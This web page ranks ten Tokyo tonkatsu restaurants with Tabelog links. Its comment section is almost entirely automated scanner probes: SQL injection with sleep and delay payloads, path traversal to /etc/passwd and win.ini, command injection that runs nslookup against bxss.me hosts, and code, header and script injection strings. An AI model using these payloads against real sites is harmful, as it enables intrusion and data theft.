1. Narikura(成蔵)
https://tabelog.com/tokyo/A1319/A131905/13236380/
2. Kippei(吉平)
https://tabelog.com/tokyo/A1310/A131002/13237293/
3. Chawanbu(車力門ちゃわんぶ)
https://tabelog.com/tokyo/A1309/A130903/13234679/
4. Tonkatsu Keita(とんかつけい太)
https://tabelog.com/tokyo/A1319/A131907/13241723/
5. Katsu Puripo(Katsuプリポー)
https://tabelog.com/tokyo/A1304/A130401/13264309/
6. Tonta(とん太)
https://tabelog.com/tokyo/A1305/A130503/13003984/
7. Hasegawa(はせ川)
https://tabelog.com/tokyo/A1312/A131201/13019126/
8. tonaktsu.jp
https://tabelog.com/tokyo/A1306/A130602/13264557/
9. Tonkasu Iwai(とんかついわい)
https://tabelog.com/tokyo/A1314/A131401/13170377/
10.Tonkatsu Daiki(とんかつ大希)
https://tabelog.com/tokyo/A1315/A131503/13263034/
28 Comments
This list is ranked by your personal preferences?
re: Justeat
hOxalz3j
re: Justeat
1*
re: Justeat
1*
re: Justeat
1*
re: Justeat
1*
re: Justeat
-1 OR 2+513-513-1=0+0+0+1
re: Justeat
-1 OR 3+513-513-1=0+0+0+1
re: Justeat
if(now()=sysdate(),sleep(15),0)
re: Justeat
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: Justeat
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: Justeat
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Justeat
-1; waitfor delay '0:0:15' --
re: Justeat
-1); waitfor delay '0:0:15' --
re: Justeat
1 waitfor delay '0:0:15' --
re: Justeat
dHnvB3Sg'; waitfor delay '0:0:15' --
re: Justeat
-5 OR 210=(SELECT 210 FROM PG_SLEEP(15))--
re: Justeat
-5) OR 622=(SELECT 622 FROM PG_SLEEP(15))--
re: Justeat
-1)) OR 956=(SELECT 956 FROM PG_SLEEP(15))--
re: Justeat
LKBFXxz3' OR 343=(SELECT 343 FROM PG_SLEEP(15))--
re: Justeat
742ZgAjK') OR 497=(SELECT 497 FROM PG_SLEEP(15))--
re: Justeat
psHoIyOu')) OR 517=(SELECT 517 FROM PG_SLEEP(15))--
re: Justeat
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Justeat
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Justeat
'||(select 1 from (select pg_sleep(15))x)||'
re: Justeat
''||(select 1 from (select pg_sleep(15))x)||''
re: Justeat
1'"
re: Justeat
@@gkCGE
re: Justeat
adiW7vTg
re: Justeat
1*
re: Justeat
1*
re: Justeat
1*
re: Justeat
1*
re: Justeat
-1 OR 2+400-400-1=0+0+0+1
re: Justeat
-1 OR 3+400-400-1=0+0+0+1
re: Justeat
if(now()=sysdate(),sleep(15),0)
re: Justeat
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: Justeat
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: Justeat
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Justeat
-1; waitfor delay '0:0:15' --
re: Justeat
-1); waitfor delay '0:0:15' --
re: Justeat
1 waitfor delay '0:0:15' --
re: Justeat
qdBRvwDQ'; waitfor delay '0:0:15' --
re: Justeat
-5 OR 408=(SELECT 408 FROM PG_SLEEP(15))--
re: Justeat
-5) OR 921=(SELECT 921 FROM PG_SLEEP(15))--
re: Justeat
-1)) OR 388=(SELECT 388 FROM PG_SLEEP(15))--
re: Justeat
4GJx546i' OR 311=(SELECT 311 FROM PG_SLEEP(15))--
re: Justeat
uNQyjGfC') OR 725=(SELECT 725 FROM PG_SLEEP(15))--
re: Justeat
tnvrWKjz')) OR 105=(SELECT 105 FROM PG_SLEEP(15))--
re: Justeat
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Justeat
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Justeat
'||(select 1 from (select pg_sleep(15))x)||'
re: Justeat
''||(select 1 from (select pg_sleep(15))x)||''
re: Justeat
1'"
re: Justeat
@@JQzh0
re: Justeat
1ls8FXyxO
re: Justeat
Xmc3FyE4
re: Justeat
response.write(9403036*9047613)
re: Justeat
bcc:074625.67-9330.67.026df.19990.2@bxss.me
re: Justeat
<esi:include src="http://bxss.me/rpb.png"/>
re: Justeat
${9999553+9999573}
re: Justeat
'+response.write(9403036*9047613)+'
re: Justeat
to@example.com>
bcc:074625.67-9331.67.026df.19990.2@bxss.me
re: Justeat
"+response.write(9403036*9047613)+"
re: Justeat
&n989731=v940519
re: Justeat
ctime
sleep
p0
(I30
tp1
Rp2
.
re: Justeat
../../../../../../../../../../../../../../etc/passwd
re: Justeat
../../../../../../../../../../../../../../windows/win.ini
re: Justeat
'.gethostbyname(lc('hitfg'.'gpmbwyfq14d6e.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(113).chr(65).chr(121).chr(81).'
re: Justeat
file:///etc/passwd
re: Justeat
)
re: Justeat
".gethostbyname(lc("hitac"."gquzvokw62e05.bxss.me."))."A".chr(67).chr(hex("58")).chr(103).chr(72).chr(107).chr(82)."
re: Justeat
!(()&&!|*|*|
re: Justeat
../
re: Justeat
^(#$!@#$)(()))******
re: Justeat
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
re: Justeat
HttP://bxss.me/t/xss.html?%00
re: Justeat
echo ujbscb$()\ qrtypt\nz^xyu||a #' &echo ujbscb$()\ qrtypt\nz^xyu||a #|" &echo ujbscb$()\ qrtypt\nz^xyu||a #
re: Justeat
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
re: Justeat
"+"A".concat(70-3).concat(22*4).concat(113).concat(65).concat(101).concat(68)+(require"socket"
Socket.gethostbyname("hitkf"+"cxwsoukiab95b.bxss.me.")[3].to_s)+"
re: Justeat
bxss.me/t/xss.html?%00
re: Justeat
&echo odtvrd$()\ icmfvt\nz^xyu||a #' &echo odtvrd$()\ icmfvt\nz^xyu||a #|" &echo odtvrd$()\ icmfvt\nz^xyu||a #
re: Justeat
Http://bxss.me/t/fit.txt
re: Justeat
'+'A'.concat(70-3).concat(22*4).concat(105).concat(70).concat(116).concat(65)+(require'socket'
Socket.gethostbyname('hitmx'+'ncbgwyhv3f0cb.bxss.me.')[3].to_s)+'
re: Justeat
|echo uioodq$()\ hziulk\nz^xyu||a #' |echo uioodq$()\ hziulk\nz^xyu||a #|" |echo uioodq$()\ hziulk\nz^xyu||a #
re: Justeat
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
re: Justeat
http://bxss.me/t/fit.txt?.jpg
re: Justeat
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
re: Justeat
xfs.bxss.me
re: Justeat
(nslookup hitpnvjzcghogc90b8.bxss.me||perl -e "gethostbyname('hitpnvjzcghogc90b8.bxss.me')")
re: Justeat
/etc/shells
re: Justeat
';print(md5(31337));$a='
re: Justeat
$(nslookup hitkotaqnqqrz981e5.bxss.me||perl -e "gethostbyname('hitkotaqnqqrz981e5.bxss.me')")
re: Justeat
replies
re: Justeat
c:/windows/win.ini
re: Justeat
";print(md5(31337));$a="
re: Justeat
&nslookup hitklgxddkgenf57b8.bxss.me&'\"`0&nslookup hitklgxddkgenf57b8.bxss.me&`'
re: Justeat
replies
re: Justeat
bxss.me
re: Justeat
${@print(md5(31337))}
re: Justeat
&(nslookup hitwdthliqxrw55ad8.bxss.me||perl -e "gethostbyname('hitwdthliqxrw55ad8.bxss.me')")&'\"`0&(nslookup hitwdthliqxrw55ad8.bxss.me||perl -e "gethostbyname('hitwdthliqxrw55ad8.bxss.me')")&`'
re: Justeat
replies/.
re: Justeat
'"
re: Justeat
${@print(md5(31337))}\
re: Justeat
|(nslookup hityefuvneerm17e0f.bxss.me||perl -e "gethostbyname('hityefuvneerm17e0f.bxss.me')")
re: Justeat
<!--
re: Justeat
'.print(md5(31337)).'
re: Justeat
`(nslookup hitvvggzgwyay9994b.bxss.me||perl -e "gethostbyname('hitvvggzgwyay9994b.bxss.me')")`
re: Justeat
;(nslookup hitzvdzuzqftqf6e33.bxss.me||perl -e "gethostbyname('hitzvdzuzqftqf6e33.bxss.me')")|(nslookup hitzvdzuzqftqf6e33.bxss.me||perl -e "gethostbyname('hitzvdzuzqftqf6e33.bxss.me')")&(nslookup hitzvdzuzqftqf6e33.bxss.me||perl -e "gethostbyname('hitzvdzuzqftqf6e33.bxss.me')")
re: Justeat
'"()&%<zzz><ScRiPt >A0G9(9911)</ScRiPt>
re: Justeat
'"()&%<zzz><ScRiPt >A0G9(9939)</ScRiPt>
re: Justeat
9767805
re: Justeat
'"()
re: Justeat
'&&sleep(27*1000)*eaozls&&'
re: Justeat
"&&sleep(27*1000)*mzvlxh&&"
re: Justeat
'||sleep(27*1000)*fmblke||'
re: Justeat
"||sleep(27*1000)*myvhfh||"
re: Justeat
gvl1pEig
re: Justeat
1*
re: Justeat
1*
re: Justeat
1*
re: Justeat
1*
re: Justeat
-1 OR 2+684-684-1=0+0+0+1
re: Justeat
-1 OR 3+684-684-1=0+0+0+1
re: Justeat
if(now()=sysdate(),sleep(15),0)
re: Justeat
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: Justeat
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: Justeat
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Justeat
-1; waitfor delay '0:0:15' --
re: Justeat
-1); waitfor delay '0:0:15' --
re: Justeat
1 waitfor delay '0:0:15' --
re: Justeat
eCtGKGlx'; waitfor delay '0:0:15' --
re: Justeat
-5 OR 42=(SELECT 42 FROM PG_SLEEP(15))--
re: Justeat
-5) OR 604=(SELECT 604 FROM PG_SLEEP(15))--
re: Justeat
-1)) OR 665=(SELECT 665 FROM PG_SLEEP(15))--
re: Justeat
R31CBj8e' OR 202=(SELECT 202 FROM PG_SLEEP(15))--
re: Justeat
K28ch9UK') OR 724=(SELECT 724 FROM PG_SLEEP(15))--
re: Justeat
yWAkrMZD')) OR 491=(SELECT 491 FROM PG_SLEEP(15))--
re: Justeat
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Justeat
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Justeat
'||(select 1 from (select pg_sleep(15))x)||'
re: Justeat
''||(select 1 from (select pg_sleep(15))x)||''
re: Justeat
1'"
re: Justeat
@@Ha2pW
re: Justeat
1k3LhmiSO
re: Justeat
response.write(9713621*9042244)
re: Justeat
'+response.write(9713621*9042244)+'
re: Justeat
"+response.write(9713621*9042244)+"
re: Justeat
%0abcc:074625.67-10293.67.969f4.19990.2@bxss.me
re: Justeat
../../../../../../../../../../../../../../etc/passwd
re: Justeat
to@example.com>%0d%0abcc:074625.67-10294.67.969f4.19990.2@bxss.me
re: Justeat
../../../../../../../../../../../../../../windows/win.ini
re: Justeat
file:///etc/passwd
re: Justeat
../../../../../../../../../../../../../../../proc/version
re: Justeat
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
re: Justeat
../../../../../../../../../../etc/passwd%00.jpg
re: Justeat
<esi:include src="http://bxss.me/rpb.png"/>
re: Justeat
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
re: Justeat
/../..//../..//../..//../..//../..//etc/passwd%00.jpg
re: Justeat
echo jgcnbw$()\ vrvswn\nz^xyu||a #' &echo jgcnbw$()\ vrvswn\nz^xyu||a #|" &echo jgcnbw$()\ vrvswn\nz^xyu||a #
re: Justeat
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
re: Justeat
${10000116+9999222}
re: Justeat
&echo lqdujk$()\ crpdfu\nz^xyu||a #' &echo lqdujk$()\ crpdfu\nz^xyu||a #|" &echo lqdujk$()\ crpdfu\nz^xyu||a #
re: Justeat
/etc/passwd
re: Justeat
|echo exbltl$()\ leslbf\nz^xyu||a #' |echo exbltl$()\ leslbf\nz^xyu||a #|" |echo exbltl$()\ leslbf\nz^xyu||a #
re: Justeat
%2fetc%2fpasswd
re: Justeat
(nslookup hitsqjrhytjure60b0.bxss.me||perl -e "gethostbyname('hitsqjrhytjure60b0.bxss.me')")
re: Justeat
/.././.././.././.././.././.././.././../etc/./passwd%00
re: Justeat
$(nslookup hitzxyzbrosfa9649f.bxss.me||perl -e "gethostbyname('hitzxyzbrosfa9649f.bxss.me')")
re: Justeat
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
re: Justeat
&nslookup hitjsxnsftnrl94398.bxss.me&'\"`0&nslookup hitjsxnsftnrl94398.bxss.me&`'
re: Justeat
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
re: Justeat
&(nslookup hitlonjtykcqqf20cf.bxss.me||perl -e "gethostbyname('hitlonjtykcqqf20cf.bxss.me')")&'\"`0&(nslookup hitlonjtykcqqf20cf.bxss.me||perl -e "gethostbyname('hitlonjtykcqqf20cf.bxss.me')")&`'
re: Justeat
../././../././../././../././../././../././../././../././../././../././etc/passwd
re: Justeat
|(nslookup hitaxrqfvpwfmc7a1e.bxss.me||perl -e "gethostbyname('hitaxrqfvpwfmc7a1e.bxss.me')")
re: Justeat
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd
re: Justeat
`(nslookup hitjjjtmxneov095fe.bxss.me||perl -e "gethostbyname('hitjjjtmxneov095fe.bxss.me')")`
re: Justeat
)
re: Justeat
invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
re: Justeat
;(nslookup hitiiwyvyknvx5816c.bxss.me||perl -e "gethostbyname('hitiiwyvyknvx5816c.bxss.me')")|(nslookup hitiiwyvyknvx5816c.bxss.me||perl -e "gethostbyname('hitiiwyvyknvx5816c.bxss.me')")&(nslookup hitiiwyvyknvx5816c.bxss.me||perl -e "gethostbyname('hitiiwyvyknvx5816c.bxss.me')")
re: Justeat
!(()&&!|*|*|
re: Justeat
file:///etc/passwd
re: Justeat
^(#$!@#$)(()))******
re: Justeat
/\../\../\../\../\../\../\../etc/passwd
re: Justeat
/WEB-INF/web.xml
re: Justeat
C:\WINDOWS\system32\drivers\etc\hosts
re: Justeat
../../../../../../../../../../windows/win.ini%00.jpg
re: Justeat
/../../../../../../../../../../boot.ini
re: Justeat
'.gethostbyname(lc('hitna'.'unwygrpdc2a5b.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(112).chr(80).chr(104).chr(79).'
re: Justeat
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afwindows%c0%afwin.ini
re: Justeat
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
re: Justeat
".gethostbyname(lc("hitth"."oqyasggs407a7.bxss.me."))."A".chr(67).chr(hex("58")).chr(122).chr(76).chr(109).chr(87)."
re: Justeat
..\..\..\..\..\..\..\..\windows\win.ini
re: Justeat
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
re: Justeat
..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini
re: Justeat
Http://bxss.me/t/fit.txt
re: Justeat
/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
re: Justeat
http://bxss.me/t/fit.txt%3F.jpg
re: Justeat
../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
re: Justeat
/etc/shells
re: Justeat
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
re: Justeat
c:/windows/win.ini
re: Justeat
unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\
re: Justeat
bxss.me
re: Justeat
WEB-INF/web.xml
re: Justeat
HttP://bxss.me/t/xss.html?%00
re: Justeat
"+"A".concat(70-3).concat(22*4).concat(114).concat(90).concat(121).concat(74)+(require"socket"
Socket.gethostbyname("hitdd"+"amayibpt6819b.bxss.me.")[3].to_s)+"
re: Justeat
WEB-INF\web.xml
re: Justeat
bxss.me/t/xss.html?%00
re: Justeat
'+'A'.concat(70-3).concat(22*4).concat(108).concat(72).concat(100).concat(84)+(require'socket'
Socket.gethostbyname('hitgh'+'ndknfzmi6dee5.bxss.me.')[3].to_s)+'
re: Justeat
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
re: Justeat
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
re: Justeat
'"
re: Justeat
';print(md5(31337));$a='
re: Justeat
<!--
re: Justeat
";print(md5(31337));$a="
re: Justeat
${@print(md5(31337))}
re: Justeat
${@print(md5(31337))}\
re: Justeat
'.print(md5(31337)).'
re: Justeat
1
re: Justeat
1
re: Justeat
-1 OR 2+145-145-1=0+0+0+1 --
re: Justeat
-1 OR 3+145-145-1=0+0+0+1 --
re: Justeat
-1 OR 2+715-715-1=0+0+0+1
re: Justeat
-1 OR 3+715-715-1=0+0+0+1
re: Justeat
-1' OR 2+573-573-1=0+0+0+1 --
re: Justeat
-1' OR 3+573-573-1=0+0+0+1 --
re: Justeat
-1' OR 2+547-547-1=0+0+0+1 or '3wPl82Y4'='
re: Justeat
-1' OR 3+547-547-1=0+0+0+1 or '3wPl82Y4'='
re: Justeat
-1" OR 2+192-192-1=0+0+0+1 --
re: Justeat
-1" OR 3+192-192-1=0+0+0+1 --
re: Justeat
if(now()=sysdate(),sleep(15),0)
re: Justeat
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: Justeat
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: Justeat
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Justeat
-1; waitfor delay '0:0:15' --
re: Justeat
-1); waitfor delay '0:0:15' --
re: Justeat
1 waitfor delay '0:0:15' --
re: Justeat
9XPZklVf'; waitfor delay '0:0:15' --
re: Justeat
-5 OR 823=(SELECT 823 FROM PG_SLEEP(15))--
re: Justeat
-5) OR 637=(SELECT 637 FROM PG_SLEEP(15))--
re: Justeat
-1)) OR 220=(SELECT 220 FROM PG_SLEEP(15))--
re: Justeat
ZBfh7c9V' OR 410=(SELECT 410 FROM PG_SLEEP(15))--
re: Justeat
V0NxUwov') OR 993=(SELECT 993 FROM PG_SLEEP(15))--
re: Justeat
WwgUOT52')) OR 324=(SELECT 324 FROM PG_SLEEP(15))--
re: Justeat
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Justeat
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Justeat
'||(select 1 from (select pg_sleep(15))x)||'
re: Justeat
''||(select 1 from (select pg_sleep(15))x)||''
re: Justeat
1'"
re: Justeat
@@W4qOy
re: Justeat
1
re: Justeat
1
re: Justeat
1
re: Justeat
u4pqw3RQ
re: Justeat
1*
re: Justeat
1*
re: Justeat
1*
re: Justeat
1*
re: Justeat
-1 OR 2+670-670-1=0+0+0+1
re: Justeat
-1 OR 3+670-670-1=0+0+0+1
re: Justeat
1'"
re: Justeat
@@gHuvH
